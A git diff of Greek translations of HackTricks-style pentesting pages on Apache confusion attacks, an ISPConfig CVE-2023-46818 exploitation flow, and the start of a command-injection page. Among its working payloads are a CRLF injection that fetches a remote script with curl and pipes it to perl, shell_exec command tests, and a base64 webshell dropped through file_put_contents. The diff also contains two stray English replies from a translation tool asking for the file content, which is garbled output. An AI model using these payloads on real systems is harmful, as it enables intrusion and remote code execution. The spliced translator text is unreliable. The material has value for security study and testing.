Αυτό συμβαίνει επειδή από προεπιλογή το PHP-FPM θα λαμβάνει URLs που τελειώνουν σε `.php`, όπως `http://server/admin.php%3Fooo.php`, και επειδή το PHP-FPM θα αφαιρέσει οτιδήποτε μετά τον χαρακτήρα `?`, το προηγούμενο URL θα επιτρέψει τη φόρτωση του `/admin.php` ακόμα κι αν ο προηγούμενος κανόνας το απαγόρευε.
|
||||
|
||||
### DocumentRoot Σύγχυση
|
||||
### Σύγχυση DocumentRoot
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
|
||||
Ένα ενδιαφέρον γεγονός για την Apache είναι ότι το προηγούμενο rewrite θα προσπαθήσει να προσπελάσει το αρχείο τόσο από το documentRoot όσο και από το root. Έτσι, ένα αίτημα προς `https://server/abouth.html` θα ελέγξει για το αρχείο στο `/var/www/html/about.html` και στο `/about.html` στο σύστημα αρχείων. Αυτό, βασικά, μπορεί να καταχραστεί για να αποκτήσει πρόσβαση σε αρχεία του συστήματος αρχείων.
|
||||
|
||||
#### **Server-Side Source Code Disclosure**
|
||||
#### **Αποκάλυψη πηγαίου κώδικα server-side**
|
||||
|
||||
- **Disclose CGI Source Code**
|
||||
- **Αποκάλυψη πηγαίου κώδικα CGI**
|
||||
|
||||
Απλώς προσθέτοντας %3F στο τέλος αρκεί για να leak τον source code ενός cgi module:
|
||||
Αρκεί να προσθέσετε %3F στο τέλος για να leak τον πηγαίο κώδικα ενός cgi module:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
```
|
||||
- **Αποκάλυψη PHP Source Code**
|
||||
|
||||
Εάν ένας server διαθέτει διαφορετικά domains και ένα από αυτά είναι static domain, αυτό μπορεί να χρησιμοποιηθεί καταχρηστικά για να περιηγηθεί στο file system και να leak php code:
|
||||
Εάν ένας διακομιστής έχει διαφορετικά domains, με ένα από αυτά να είναι στατικό domain, αυτό μπορεί να εκμεταλλευτεί για να διασχίσει το σύστημα αρχείων και να leak php code:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
Το κύριο πρόβλημα με την προηγούμενη επίθεση είναι ότι, από προεπιλογή, οι περισσότερες προσβάσεις στο filesystem θα απορριφθούν όπως στο Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
Το κύριο πρόβλημα με την προηγούμενη επίθεση είναι ότι, από προεπιλογή, η περισσότερη πρόσβαση στο filesystem θα απορριφθεί όπως στο Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Ωστόσο, τα [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) λειτουργικά συστήματα επιτρέπουν εξ ορισμού το `/usr/share`:
|
||||
Ωστόσο, τα [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) λειτουργικά συστήματα από προεπιλογή επιτρέπουν το `/usr/share`:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Επομένως, θα ήταν δυνατό να γίνει κατάχρηση των αρχείων που βρίσκονται στο `/usr/share` σε αυτές τις διανομές.
|
||||
Επομένως, θα ήταν δυνατό να **κακοποιηθούν αρχεία που βρίσκονται μέσα στο `/usr/share` σε αυτές τις διανομές.**
|
||||
|
||||
Local Gadget to Information Disclosure
|
||||
**Τοπικό Gadget για Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** με **websocketd** μπορεί να εκθέσει το script **dump-env.php** στο **/usr/share/doc/websocketd/examples/php/**, το οποίο μπορεί να leak ευαίσθητες μεταβλητές περιβάλλοντος.
|
||||
- Διακομιστές με **Nginx** ή **Jetty** ενδέχεται να εκθέσουν ευαίσθητες πληροφορίες web εφαρμογών (π.χ. **web.xml**) μέσω των προεπιλεγμένων web roots που τοποθετούνται κάτω από **/usr/share**:
|
||||
- Οι servers με **Nginx** ή **Jetty** μπορεί να εκθέτουν ευαίσθητες πληροφορίες web εφαρμογών (π.χ. **web.xml**) μέσω των προεπιλεγμένων web roots που βρίσκονται κάτω από **/usr/share**:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
Local Gadget to XSS
|
||||
**Τοπικό Gadget για XSS**
|
||||
|
||||
- Σε Ubuntu Desktop με **LibreOffice εγκατεστημένο**, η εκμετάλλευση της λειτουργίας αλλαγής γλώσσας των αρχείων βοήθειας μπορεί να οδηγήσει σε **Cross-Site Scripting (XSS)**. Η χειραγώγηση του URL στο **/usr/share/libreoffice/help/help.html** μπορεί να ανακατευθύνει σε κακόβουλες σελίδες ή παλαιότερες εκδόσεις μέσω **unsafe RewriteRule**.
|
||||
- Σε Ubuntu Desktop με **LibreOffice** εγκατεστημένο, η εκμετάλλευση της δυνατότητας αλλαγής γλώσσας στα help files μπορεί να οδηγήσει σε **Cross-Site Scripting (XSS)**. Η χειραγώγηση του URL στο **/usr/share/libreoffice/help/help.html** μπορεί να ανακατευθύνει σε κακόβουλες σελίδες ή παλαιότερες εκδόσεις μέσω **unsafe RewriteRule**.
|
||||
|
||||
Local Gadget to LFI
|
||||
**Τοπικό Gadget για LFI**
|
||||
|
||||
- Εάν το PHP ή ορισμένα front-end πακέτα όπως **JpGraph** ή **jQuery-jFeed** είναι εγκατεστημένα, τα αρχεία τους μπορούν να εκμεταλλευτούν για να διαβαστούν ευαίσθητα αρχεία όπως **/etc/passwd**:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
Local Gadget to SSRF
|
||||
**Τοπικό Gadget για SSRF**
|
||||
|
||||
- Η χρήση του **magpie_debug.php** του **MagpieRSS** στο **/usr/share/php/magpierss/scripts/magpie_debug.php**, μπορεί να δημιουργήσει εύκολα μια ευπάθεια SSRF, παρέχοντας πύλη για περαιτέρω εκμεταλλεύσεις.
|
||||
- Η χρήση του **MagpieRSS's magpie_debug.php** στο **/usr/share/php/magpierss/scripts/magpie_debug.php** μπορεί εύκολα να δημιουργήσει μια ευπάθεια SSRF, προσφέροντας πύλη για περαιτέρω exploits.
|
||||
|
||||
Local Gadget to RCE
|
||||
**Τοπικό Gadget για RCE**
|
||||
|
||||
- Οι ευκαιρίες για **Remote Code Execution (RCE)** είναι πολλές, με ευάλωτες εγκαταστάσεις όπως ένα παρωχημένο **PHPUnit** ή **phpLiteAdmin**. Αυτές μπορούν να εκμεταλλευτούν για την εκτέλεση αυθαίρετου κώδικα, δείχνοντας το εκτεταμένο δυναμικό της χειραγώγησης local gadgets.
|
||||
- Οι ευκαιρίες για **Remote Code Execution (RCE)** είναι πολλές, με ευπαθείς εγκαταστάσεις όπως παρωχημένο **PHPUnit** ή **phpLiteAdmin**. Αυτές μπορούν να εκμεταλλευτούν για να εκτελέσουν αυθαίρετο κώδικα, δείχνοντας το εκτεταμένο δυναμικό της χειραγώγησης τοπικών gadgets.
|
||||
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
#### **Jailbreak από Τοπικά Gadgets**
|
||||
|
||||
Επίσης είναι δυνατό να jailbreak από τους επιτρεπόμενους φακέλους ακολουθώντας symlinks που δημιουργούνται από εγκατεστημένο λογισμικό σε αυτούς τους φακέλους, όπως:
|
||||
Επίσης είναι δυνατό να γίνει jailbreak από τους επιτρεπόμενους φακέλους ακολουθώντας symlinks που δημιουργούνται από εγκατεστημένο λογισμικό σε αυτούς τους φακέλους, όπως:
|
||||
|
||||
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -186,46 +186,46 @@ Local Gadget to RCE
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Επιπλέον, με την κατάχρηση symlinks ήταν δυνατό να επιτευχθεί **RCE σε Redmine.**
|
||||
Επιπλέον, με την κακόβουλη χρήση symlinks ήταν δυνατό να αποκτηθεί **RCE σε Redmine.**
|
||||
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Σύγχυση Handler <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Αυτή η επίθεση εκμεταλλεύεται την επικάλυψη στη λειτουργικότητα μεταξύ των οδηγιών `AddHandler` και `AddType`, οι οποίες και οι δύο μπορούν να χρησιμοποιηθούν για να ενεργοποιήσουν την επεξεργασία PHP. Αρχικά, αυτές οι οδηγίες επηρέαζαν διαφορετικά πεδία (`r->handler` και `r->content_type` αντίστοιχα) στη εσωτερική δομή του server. Ωστόσο, λόγω legacy κώδικα, ο Apache χειρίζεται αυτές τις οδηγίες εναλλασσόμενα υπό ορισμένες συνθήκες, μετατρέποντας το `r->content_type` σε `r->handler` αν το πρώτο είναι ορισμένο και το δεύτερο όχι.
|
||||
Αυτή η επίθεση εκμεταλλεύεται την επικάλυψη στη λειτουργικότητα μεταξύ των `AddHandler` και `AddType` directives, τα οποία και τα δύο μπορούν να χρησιμοποιηθούν για να **επιτρέψουν την επεξεργασία PHP**. Αρχικά, αυτές οι οδηγίες επηρέαζαν διαφορετικά πεδία (`r->handler` και `r->content_type` αντίστοιχα) στη εσωτερική δομή του server. Ωστόσο, λόγω legacy κώδικα, ο Apache χειρίζεται αυτές τις οδηγίες εναλλάξ υπό ορισμένες συνθήκες, μετατρέποντας το `r->content_type` σε `r->handler` αν το πρώτο είναι ορισμένο και το δεύτερο όχι.
|
||||
|
||||
Επιπλέον, στον Apache HTTP Server (`server/config.c#L420`), αν το `r->handler` είναι κενό πριν την εκτέλεση του `ap_run_handler()`, ο server **χρησιμοποιεί το `r->content_type` ως handler**, κάνοντας ουσιαστικά το `AddType` και το `AddHandler` ίσα στην επίδραση.
|
||||
Επιπλέον, στον Apache HTTP Server (`server/config.c#L420`), αν το `r->handler` είναι κενό πριν την εκτέλεση του `ap_run_handler()`, ο server **χρησιμοποιεί το `r->content_type` ως handler**, κάνοντας ουσιαστικά το `AddType` και `AddHandler` ίσο στο αποτέλεσμα.
|
||||
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
#### **Επικάλυψη του Handler για Αποκάλυψη του Πηγαίου Κώδικα PHP**
|
||||
|
||||
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), παρουσιάστηκε μια ευπάθεια όπου ένα λανθασμένο `Content-Length` που αποστέλλεται από έναν client μπορεί να κάνει τον Apache να **επιστρέψει τον PHP πηγαίο κώδικα**. Αυτό συνέβη λόγω ενός προβλήματος διαχείρισης σφαλμάτων με το ModSecurity και το Apache Portable Runtime (APR), όπου μια διπλή ανταπόκριση οδηγεί στην υπεργραφή του `r->content_type` σε `text/html`.\
|
||||
Επειδή το ModSecurity δεν χειρίζεται σωστά τις επιστρεφόμενες τιμές, θα επέστρεφε τον PHP κώδικα και δεν θα τον ερμήνευε.
|
||||
Σε [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), παρουσιάστηκε μια ευπάθεια όπου ένα λανθασμένο `Content-Length` που αποστέλλεται από έναν client μπορεί να προκαλέσει τον Apache να καταλάθος **επιστρέψει τον πηγαίο κώδικα PHP**. Αυτό συνέβη λόγω προβλήματος χειρισμού σφαλμάτων με το ModSecurity και το Apache Portable Runtime (APR), όπου μια διπλή απάντηση οδηγεί στην επικάλυψη του `r->content_type` με `text/html`.\
|
||||
Επειδή το ModSecurity δεν χειρίζεται σωστά τις τιμές επιστροφής, θα επέστρεφε τον PHP κώδικα και δεν θα τον ερμήνευε.
|
||||
|
||||
#### **Overwrite Handler to XXXX**
|
||||
#### **Επικάλυψη Handler σε XXXX**
|
||||
|
||||
TODO: Η Orange δεν έχει αποκαλύψει ακόμα αυτή την ευπάθεια
|
||||
TODO: Η Orange δεν έχει αποκαλύψει ακόμη αυτή την ευπάθεια
|
||||
|
||||
### **Invoke Arbitrary Handlers**
|
||||
### **Κλήση Αυθαίρετων Handlers**
|
||||
|
||||
Εάν ένας επιτιθέμενος καταφέρει να ελέγξει την κεφαλίδα **`Content-Type`** στην απάντηση του server, θα μπορεί να invoke arbitrary module handlers. Ωστόσο, μέχρι το σημείο που ο επιτιθέμενος ελέγχει αυτό, το μεγαλύτερο μέρος της επεξεργασίας του request θα έχει ήδη γίνει. Παρ' όλα αυτά, είναι δυνατό να **επαναεκκινήσει τη διαδικασία του request καταχρώμενος την κεφαλίδα `Location`** επειδή αν το **r**eturned `Status` είναι 200 και η κεφαλίδα `Location` ξεκινά με `/`, η απάντηση θεωρείται Server-Side Redirection και θα πρέπει να επεξεργαστεί
|
||||
Εάν ένας επιτιθέμενος μπορεί να ελέγξει την **`Content-Type`** κεφαλίδα στην απάντηση του server, θα είναι σε θέση να **invoke arbitrary module handlers**. Ωστόσο, όταν ο επιτιθέμενος αποκτήσει αυτόν τον έλεγχο, το μεγαλύτερο μέρος της διαδικασίας του request θα έχει ήδη εκτελεστεί. Παρ' όλα αυτά, είναι δυνατό να **επανακινήσει τη διαδικασία του request με την κατάχρηση της `Location` κεφαλίδας** επειδή αν το επιστρεφόμενο `Status` είναι 200 και η κεφαλίδα `Location` ξεκινά με `/`, η απάντηση αντιμετωπίζεται ως Server-Side Redirection και πρέπει να επεξεργαστεί
|
||||
|
||||
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
|
||||
|
||||
> Το CGI script μπορεί να επιστρέψει ένα URI path και query-string (‘local-pathquery’) για έναν τοπικό πόρο σε ένα πεδίο κεφαλίδας Location. Αυτό υποδηλώνει στον server ότι θα πρέπει να επανεπεξεργαστεί το request χρησιμοποιώντας το καθορισμένο path.
|
||||
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
|
||||
|
||||
Επομένως, για να εκτελεστεί αυτή η επίθεση χρειάζεται μία από τις παρακάτω ευπάθειες:
|
||||
Επομένως, για να πραγματοποιηθεί αυτή η επίθεση χρειάζεται μία από τις ακόλουθες ευπάθειες:
|
||||
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
#### **Αυθαίρετος Handler για Information Disclosure**
|
||||
|
||||
For example `/server-status` should only be accessible locally:
|
||||
Για παράδειγμα το `/server-status` θα πρέπει να είναι προσβάσιμο μόνο τοπικά:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Είναι δυνατή η πρόσβαση σε αυτό ορίζοντας το `Content-Type` σε `server-status` και την κεφαλίδα Location να ξεκινά με `/`
|
||||
Είναι δυνατό να αποκτηθεί πρόσβαση σε αυτό ρυθμίζοντας το `Content-Type` σε `server-status` και την κεφαλίδα Location να ξεκινά με `/`
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -243,20 +243,20 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Ωστόσο, η κεφαλίδα `X-Forwarded-For` προστίθεται, εμποδίζοντας την πρόσβαση σε cloud metadata endpoints.
|
||||
Ωστόσο, το header `X-Forwarded-For` προστίθεται, αποτρέποντας την πρόσβαση σε endpoints μεταδεδομένων cloud.
|
||||
|
||||
#### **Arbitrary Handler για πρόσβαση στο τοπικό Unix Domain Socket**
|
||||
#### **Αυθαίρετος Handler για Πρόσβαση στο Τοπικό Unix Domain Socket**
|
||||
|
||||
Πρόσβαση στο τοπικό Unix Domain Socket του PHP-FPM για την εκτέλεση ενός PHP backdoor που βρίσκεται στο `/tmp/`:
|
||||
Πρόσβαση στο τοπικό Unix Domain Socket του PHP-FPM για εκτέλεση ενός PHP backdoor που βρίσκεται στο `/tmp/:`
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Αυθαίρετος Handler σε RCE**
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
Η επίσημη εικόνα [PHP Docker](https://hub.docker.com/_/php) περιλαμβάνει το PEAR (`Pearcmd.php`), ένα εργαλείο διαχείρισης πακέτων PHP μέσω γραμμής εντολών, το οποίο μπορεί να καταχραστεί για να επιτευχθεί RCE:
|
||||
Η επίσημη εικόνα [PHP Docker](https://hub.docker.com/_/php) περιλαμβάνει το PEAR (`Pearcmd.php`), ένα εργαλείο διαχείρισης πακέτων PHP για τη γραμμή εντολών, το οποίο μπορεί να καταχραστεί για την απόκτηση RCE:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -265,7 +265,7 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Δείτε [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), που γράφτηκε από [Phith0n](https://x.com/phithon_xg) για τις λεπτομέρειες αυτής της τεχνικής.
|
||||
Δείτε [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), γραμμένο από [Phith0n](https://x.com/phithon_xg) για τις λεπτομέρειες αυτής της τεχνικής.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -4,34 +4,34 @@
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
ISPConfig είναι ένα open-source hosting control panel. Παλαιότερες εκδόσεις 3.2.x περιλάμβαναν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον super administrator, επέτρεπε arbitrary PHP code injection μέσω μιας παραποιημένης εγγραφής μετάφρασης. Αυτό μπορεί να αποδώσει RCE στο πλαίσιο του web server και, ανάλογα με τον τρόπο εκτέλεσης του PHP, privilege escalation.
|
||||
ISPConfig είναι ένα open-source hosting control panel. Οι παλαιότερες εκδόσεις 3.2.x περιείχαν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον υπερ-διαχειριστή, επέτρεπε arbitrary PHP code injection μέσω ενός κατεστραμμένου εγγραφής μετάφρασης. Αυτό μπορεί να οδηγήσει σε RCE στο περιβάλλον του web server και, ανάλογα με τον τρόπο που εκτελείται το PHP, σε privilege escalation.
|
||||
|
||||
Key default paths:
|
||||
- Το web root συχνά βρίσκεται στο `/var/www/ispconfig` όταν σερβίρεται με `php -S` ή μέσω Apache/nginx.
|
||||
- Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο σε localhost; χρησιμοποιήστε SSH port-forward εάν χρειάζεται).
|
||||
Βασικές προεπιλεγμένες διαδρομές:
|
||||
- Το web root βρίσκεται συχνά στο `/var/www/ispconfig` όταν σερβίρεται με `php -S` ή μέσω Apache/nginx.
|
||||
- Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο στο localhost; χρησιμοποιήστε SSH port-forward αν χρειάζεται).
|
||||
|
||||
Tip: Εάν το panel είναι δεσμευμένο τοπικά (π.χ. `127.0.0.1:8080`), προώθησέ το:
|
||||
Συμβουλή: Αν το panel είναι δεσμευμένο τοπικά (π.χ. `127.0.0.1:8080`), προωθήστε το:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Εισαγωγή PHP κώδικα μέσω του επεξεργαστή γλωσσών (CVE-2023-46818)
|
||||
## Επεξεργαστής γλώσσας PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Επηρεασμένο: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Ευπαθείς εκδόσεις: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Προαπαιτούμενα:
|
||||
- Σύνδεση ως ο ενσωματωμένος λογαριασμός superadmin `admin` (σύμφωνα με τον προμηθευτή, άλλοι ρόλοι δεν επηρεάζονται)
|
||||
- Ο επεξεργαστής γλώσσας πρέπει να έχει ενεργοποιηθεί: `admin_allow_langedit=yes` στο `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε ένα αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο περιβάλλον web
|
||||
- Κάντε login ως ο ενσωματωμένος superadmin λογαριασμός `admin` (άλλοι ρόλοι δεν επηρεάζονται σύμφωνα με τον προμηθευτή)
|
||||
- Ο επεξεργαστής γλώσσας πρέπει να είναι ενεργοποιημένος: `admin_allow_langedit=yes` στο `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο web περιβάλλον
|
||||
|
||||
Αναφορές: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
Αναφορές: NVD entry CVE-2023-46818 και σύνδεσμος ειδοποίησης του προμηθευτή στην ενότητα References παρακάτω.
|
||||
|
||||
### Χειροκίνητη ροή εκμετάλλευσης
|
||||
|
||||
1) Άνοιγμα/δημιουργία αρχείου γλώσσας για λήψη των CSRF tokens
|
||||
1) Άνοιγμα/δημιουργία αρχείου γλώσσας για απόκτηση CSRF tokens
|
||||
|
||||
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και αναλύστε τα πεδία CSRF από την HTML απάντηση (`csrf_id`, `csrf_key`). Παράδειγμα request path: `/admin/language_edit.php`.
|
||||
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και να απομονώσετε τα πεδία CSRF από την HTML απάντηση (`csrf_id`, `csrf_key`). Παράδειγμα request path: `/admin/language_edit.php`.
|
||||
|
||||
2) Εισάγετε PHP μέσω records[] και αποθηκεύστε
|
||||
2) Εισαγωγή PHP μέσω records[] και αποθήκευση
|
||||
|
||||
Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και ένα κακόβουλο translation record. Ελάχιστες δοκιμές εκτέλεσης εντολών:
|
||||
```http
|
||||
@ -42,29 +42,29 @@ Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
Δοκιμή εκτός ζώνης (παρακολούθηση ICMP):
|
||||
Out-of-band test (παρατήρηση ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Γράψτε αρχεία και τοποθετήστε ένα webshell
|
||||
|
||||
Χρησιμοποιήστε `file_put_contents` για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., `admin/`):
|
||||
Χρησιμοποιήστε τη `file_put_contents` για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., `admin/`):
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Στη συνέχεια γράψτε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγετε ανεπιθύμητους χαρακτήρες στο σώμα του POST:
|
||||
Στη συνέχεια γράψε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγεις μη επιθυμητούς χαρακτήρες στο POST body:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
I don't have the file content. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md here and I'll translate the English portions to Greek, preserving all code, tags, links and paths exactly as requested.
|
||||
I don't have the file contents. Please paste the markdown text from src/network-services-pentesting/pentesting-web/ispconfig.md that you want translated to Greek. I'll translate the English parts and keep all code, links, tags and paths unchanged.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Αν το PHP εκτελείται ως root (π.χ. μέσω `php -S 127.0.0.1:8080` ξεκινώντας από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε code execution ως ο χρήστης του web server.
|
||||
Αν το PHP εκτελείται ως root (π.χ. μέσω `php -S 127.0.0.1:8080` που ξεκίνησε από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε εκτέλεση κώδικα ως ο χρήστης του web server.
|
||||
|
||||
### Python PoC
|
||||
|
||||
Ένα έτοιμο προς χρήση exploit αυτοματοποιεί τη διαχείριση των token και την παράδοση του payload:
|
||||
Ένα έτοιμο exploit αυτοματοποιεί το token handling και την παράδοση του payload:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Παράδειγμα εκτέλεσης:
|
||||
@ -74,14 +74,14 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
### Σκληροποίηση
|
||||
|
||||
- Αναβαθμίστε σε 3.2.11p1 ή νεότερη
|
||||
- Απενεργοποιήστε τον language editor εκτός αν είναι αυστηρά απαραίτητος:
|
||||
- Απενεργοποιήστε τον επεξεργαστή γλώσσας εκτός αν είναι απολύτως απαραίτητο:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Μην εκτελείτε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server να μειώνουν τα προνόμια
|
||||
- Αποφύγετε να τρέχετε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server ώστε να μειώνουν τα προνόμια
|
||||
- Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό `admin`
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι command Injection?
|
||||
## Τι είναι command Injection;
|
||||
|
||||
Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν attacker στον server που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
|
||||
Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων operating system commands από έναν attacker στον server που φιλοξενεί μια application. Ως αποτέλεσμα, η application και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της application και στο underlying system.
|
||||
|
||||
### Πλαίσιο
|
||||
|
||||
Ανάλογα με το **πού εγχέεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το περιβάλλον εντός εισαγωγικών** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||
Ανάλογα με **πού εγχέεται το input σας**, μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
